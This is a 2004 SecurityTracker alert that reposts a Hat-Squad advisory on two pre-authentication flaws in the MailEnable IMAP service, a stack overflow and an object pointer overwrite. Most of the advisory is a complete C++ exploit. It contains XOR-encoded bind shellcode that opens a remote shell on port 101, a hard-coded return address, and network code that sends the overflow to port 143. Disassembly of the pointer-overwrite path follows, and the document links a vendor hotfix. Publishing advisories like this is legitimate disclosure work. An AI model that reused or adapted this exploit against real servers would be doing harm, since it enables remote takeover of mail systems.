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Category:  Application (E-mail Server)  >  MailEnable Vendors:  MailEnable Pty. Ltd.
MailEnable Stack Overflow and Pointer Overwrite in IMAP Service Lets Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1012327
SecurityTracker URL:  http://securitytracker.com/id?1012327
CVE Reference:  GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Nov 25 2004
Impact:  Execution of arbitrary code via network, User access via network
Fix Available:  Yes   Exploit Included:  Yes   Vendor Confirmed:  Yes  
Advisory:  Hat-Squad Security Team
Version(s): Professional Edition v1.52, MailEnable Enterprise Edition v1.01
Description:  Hat-Squad Security Team reported two vulnerabilities in MailEnable in the IMAP service. A remote user can execute arbitrary code.

It is reported that a remote user can trigger a stack-based buffer overflow or an object pointer overwrite to execute arbitrary code on the target system.

A remote user can send a specially crafted command in the following format to trigger the buffer overflow:

<identifier tag 3bytes> <Ax8198> <ret_addr>

The original advisory and some demonstration exploit code is available at:

http://www.hat-squad.com/en/000102.html

Nima Majidi is credited with discovering this flaw.

The vendor was notified on November 24, 2004.

Impact:  A remote user can execute arbitrary code on the target system with the privileges of the IMAP service.
Solution:  The vendor has issued a fix, available at:

http://mailenable.com/hotfix.asp

Vendor URL:  www.mailenable.com/ (Links to External Site)
Cause:  Boundary error
Underlying OS:  Windows (NT), Windows (2000), Windows (2003), Windows (XP)
Reported By:  Hat-Squad Security Team <service@hat-squad.com>
Message History:   None.


 Source Message Contents

Date:  Thu, 25 Nov 2004 19:15:15 +0330
From:  Hat-Squad Security Team <service@hat-squad.com>
Subject:  Hat-Squad Advisory: Remote buffer overflow in MailEnable IMAP service

 
 
Hi,
 
Please see the attached security advisory for MailEnable vulnerabilities with
POC included.
 
Thanks,
 
Hat-Squad Security Team
 
 
 
 
 
   				 Hat-Squad Security Team Advisory 
                                      http://www.hat-squad.com 
 
Product: MailEnable Mail Server
Vendor Url: http://www.mailenable.com
Version: MailEnable Professional Edition v1.52, MailEnable Enterprise Edition v1.01
Vulnerability: Remote buffer overflow in IMAP service 
Release Date: 26 November, 2004
 
Vendor Status: 
InInformed on 24 November 2004
Response: 24 November 2004
Fixed on 25 November 2004
 
 
Overview: 
 
MailEnable's Mail Server software provides a enterprise messaging platform for Microsoft Windows NT/2
000/XP/2003 systems. MailEnable Proferssional IMAP services allows users to have server hosted folders and subfolders. Two vulnerabilities were discovered by Hat-Squad Team in MailEnable's IMAP service including a stack
based buffer overflow and an object pointer overwrite, both can lead to remote execution of arbitrary code. Problem: 1. Stack based Buffer Overflow: Due to a boundary check bug in the IMAP service, sending a client command with more than 8198 bytes will cause a stack buffer overflow.This vulnerability can be triggered before any kind of
authentification. Sample Request: <identifier tag 3bytes> <Ax8198> <ret_addr> as a result EIP will be overwritten with ret_addr. Proof Of Concept Exploit by class101 (class101@hat-squad.com) : ----------------------------------------------------------------------------------------- /* Mailenable Pro v1.52, IMAP Service, Remote Buffer Overflow Exploit by class101(class101@hat-squad.com) Tested on: Win2k SP4 Pro English Win2k SP4 Pro French Win2k SP4 Server English Greetz: Arashy, Homi */ #include "winsock2.h" #include "fstream.h" #pragma comment(lib, "ws2_32") //BIND shellcode port 101, XORed 0x88, thanx HDMoore. char scode[] ="\xEB" "\x0F\x58\x80\x30\x88\x40\x81\x38\x68\x61\x63\x6B\x75\xF4\xEB\x05\xE8\xEC\xFF\xFF" "\xFF\x60\xDE\x88\x88\x88\xDB\xDD\xDE\xDF\x03\xE4\xAC\x90\x03\xCD\xB4\x03\xDC\x8D" "\xF0\x89\x62\x03\xC2\x90\x03\xD2\xA8\x89\x63\x6B\xBA\xC1\x03\xBC\x03\x89\x66\xB9" "\x77\x74\xB9\x48\x24\xB0\x68\xFC\x8F\x49\x47\x85\x89\x4F\x63\x7A\xB3\xF4\xAC\x9C" "\xFD\x69\x03\xD2\xAC\x89\x63\xEE\x03\x84\xC3\x03\xD2\x94\x89\x63\x03\x8C\x03\x89" "\x60\x63\x8A\xB9\x48\xD7\xD6\xD5\xD3\x4A\x80\x88\xD6\xE2\xB8\xD1\xEC\x03\x91\x03" "\xD3\x84\x03\xD3\x94\x03\x93\x03\xD3\x80\xDB\xE0\x06\xC6\x86\x64\x77\x5E\x01\x4F" "\x09\x64\x88\x89\x88\x88\xDF\xDE\xDB\x01\x6D\x60\xAF\x88\x88\x88\x18\x89\x88\x88" "\x3E\x91\x90\x6F\x2C\x91\xF8\x61\x6D\xC1\x0E\xC1\x2C\x92\xF8\x4F\x2C\x25\xA6\x61" "\x51\x81\x7D\x25\x43\x65\x74\xB3\xDF\xDB\xBA\xD7\xBB\xBA\x88\xD3\x05\xC3\xA8\xD9" "\x77\x5F\x01\x57\x01\x4B\x05\xFD\x9C\xE2\x8F\xD1\xD9\xDB\x77\xBC\x07\x77\xDD\x8C" "\xD1\x01\x8C\x06\x6A\x7A\xA3\xAF\xDC\x77\xBF\x77\xDD\xB8\xB9\x48\xD8\xD8\xD8\xD8" "\xC8\xD8\xC8\xD8\x77\xDD\xA4\x01\x4F\xB9\x53\xDB\xDB\xE0\x8A\x88\x88\xED\x01\x68" "\xE2\x98\xD8\xDF\x77\xDD\xAC\xDB\xDF\x77\xDD\xA0\xDB\xDC\xDF\x77\xDD\xA8\x01\x4F" "\xE0\xCB\xC5\xCC\x88\x01\x6B\x0F\x72\xB9\x48\x05\xF4\xAC\x24\xE2\x9D\xD1\x7B\x23" "\x0F\x72\x09\x64\xDC\x88\x88\x88\x4E\xCC\xAC\x98\xCC\xEE\x4F\xCC\xAC\xB4\x89\x89" "\x01\xF4\xAC\xC0\x01\xF4\xAC\xC4\x01\xF4\xAC\xD8\x05\xCC\xAC\x98\xDC\xD8\xD9\xD9" "\xD9\xC9\xD9\xC1\xD9\xD9\xDB\xD9\x77\xFD\x88\xE0\xFA\x76\x3B\x9E\x77\xDD\x8C\x77" "\x58\x01\x6E\x77\xFD\x88\xE0\x25\x51\x8D\x46\x77\xDD\x8C\x01\x4B\xE0\x77\x77\x77" "\x77\x77\xBE\x77\x5B\x77\xFD\x88\xE0\xF6\x50\x6A\xFB\x77\xDD\x8C\xB9\x53\xDB\x77" "\x58\x68\x61\x63\x6B\x90"; static char payload[10000]; char magikcll[]="\x7a\x8c\x01\x10"; //CALL EDI - MEAISP.dll - "Universal" void usage(char* us); WSADATA wsadata; void ver(); int main(int argc,char *argv[]) { ver(); if ((argc<2)||(argc>3)){usage(argv[0]);return -1;} if (WSAStartup(MAKEWORD(2,0),&wsadata)!=0){ cout<<"[+] wsastartup error: "<<WSAGetLastError()<<endl;return -1;} int ip=htonl(inet_addr(argv[1])), sz, port, sizeA, a; if (argc==3){port=atoi(argv[2]);} else port=143; char *target; target=magikcll; SOCKET s; struct fd_set mask; struct timeval timeout; struct sockaddr_in server; s=socket(AF_INET,SOCK_STREAM,0);if (s==INVALID_SOCKET){ cout<<"[+] socket() error: "<<WSAGetLastError()<<endl;WSACleanup(); return -1;} server.sin_family=AF_INET; server.sin_addr.s_addr=htonl(ip); server.sin_port=htons(port); WSAConnect(s,(struct sockaddr *)&server,sizeof(server),NULL,NULL,NULL,NULL); timeout.tv_sec=3;timeout.tv_usec=0;FD_ZERO(&mask);FD_SET(s,&mask); switch(select(s+1,NULL,&mask,NULL,&timeout)) { case -1: { cout<<"[+] select() error: "<<WSAGetLastError()<<endl;closesocket(s); return -1; } case 0: {cout<<"[+] connect() error: "<<WSAGetLastError()<<endl;closeso
cket(s); return -1;} default: if(FD_ISSET(s,&mask)) { cout<<"[+] connected, constructing the payload..."<<endl; Sleep(2000); sizeA=8202-sizeof(scode); sz=3+8198+4; memset(payload,0,sizeof(payload)); strcat(payload,"\x41\x41\x41"); strcat(payload,scode); for (a=0;a<sizeA;a++){strcat(payload,"\x41");} strcat(payload,target); strcat(payload,"\r\n"); if (send(s,payload,strlen(payload),0)==SOCKET_ERROR) { cout<<"[+] sending error, the server prolly rebooted."<<endl; return -1;} Sleep(1000); cout<<"[+] size of payload: "<<sz<<endl; cout<<"[+] payload send, connect the port 101 to get a shell."<<endl; return 0; } } closesocket(s); WSACleanup(); return 0; } void usage(char* us) { cout<<"USAGE: me_expl.exe <Target> <Port>\n"<<endl; cout<<"NOTE: "<<endl; cout<<" The port 143 is default if no port are specified"<<endl; cout<<" The exploit bind a shellcode to the port 101"<<endl; return; } void ver() { cout<<""<<endl; cout<<""<<endl; cout<<" ============================================================"<<en
dl; cout<<" ======MailEnable, Pro Mail Server for Windows <= v1.52======="<<
endl; cout<<" ========IMAP Service, Remote Buffer Overflow Exploit========="<<
endl; cout<<" ======coded by class101=============[Hat-Squad.com 2004]====="<<
endl; cout<<" ============================================================"<<en
dl; cout<<""<<endl; } ----------------------------------------------------------------------------------------- 2. Object Pointer Overwrite: MailEnable failes to check length of the request snet to IMAP service, before doing any command processing task. Sending more than 432 bytes to MEIMAP and terminating the connection, will cause a pointer overwrite and in execution flow, EAX,ECX and EDX registers will be overwritten . Part of the vulnerable code goes below: 0040E9E0 /$ 55 PUSH EBP 0040E9E1 |. 8BEC MOV EBP,ESP 0040E9E3 |. 51 PUSH ECX 0040E9E4 |. 894D FC MOV DWORD PTR SS:[EBP-4],ECX 0040E9E7 |. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] 0040E9EA |. 8338 00 CMP DWORD PTR DS:[EAX],0 0040E9ED |. 74 10 JE SHORT MEIMAPS.0040E9FF 0040E9EF |. 8B4D FC MOV ECX,DWORD PTR SS:[EBP-4] 0040E9F2 |. 8B11 MOV EDX,DWORD PTR DS:[ECX] <-------- Exception 0040E9F4 |. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] 0040E9F7 |. 8B08 MOV ECX,DWORD PTR DS:[EAX] 0040E9F9 |. 8B01 MOV EAX,DWORD PTR DS:[ECX] 0040E9FB |. 52 PUSH EDX 0040E9FC |. FF50 04 CALL DWORD PTR DS:[EAX+4] <------- Method Call 0040E9FF |> 8BE5 MOV ESP,EBP 0040EA01 |. 5D POP EBP 0040EA02 \. C3 RETN The actual code should be : ....... char *buff; ... strcpy(buff,input); <--- obj pointer overwrite ... vuln_function(SomeClass *obj, char *input) { obj->someMethod(); ... } "call dword ptr ds:[EAX+4]" stands for "obj_arg->someMethod();" . This call i
nstruction could be used to exploit by brute-forcing input buffer address in stack area. Vendor Response: MailEnable has released a patch for these vulnerabilities: http://mailenable.com/hotfix.asp Credits: Discovery: Nima Majidi (nima_majidi@hat-squad.com) Additional Research: idespinner(idespinner@hat-squad.com) and class101 (class101@hat-squad.com) Original advisory could be found at: http://www.hat-squad.com/en/000102.html


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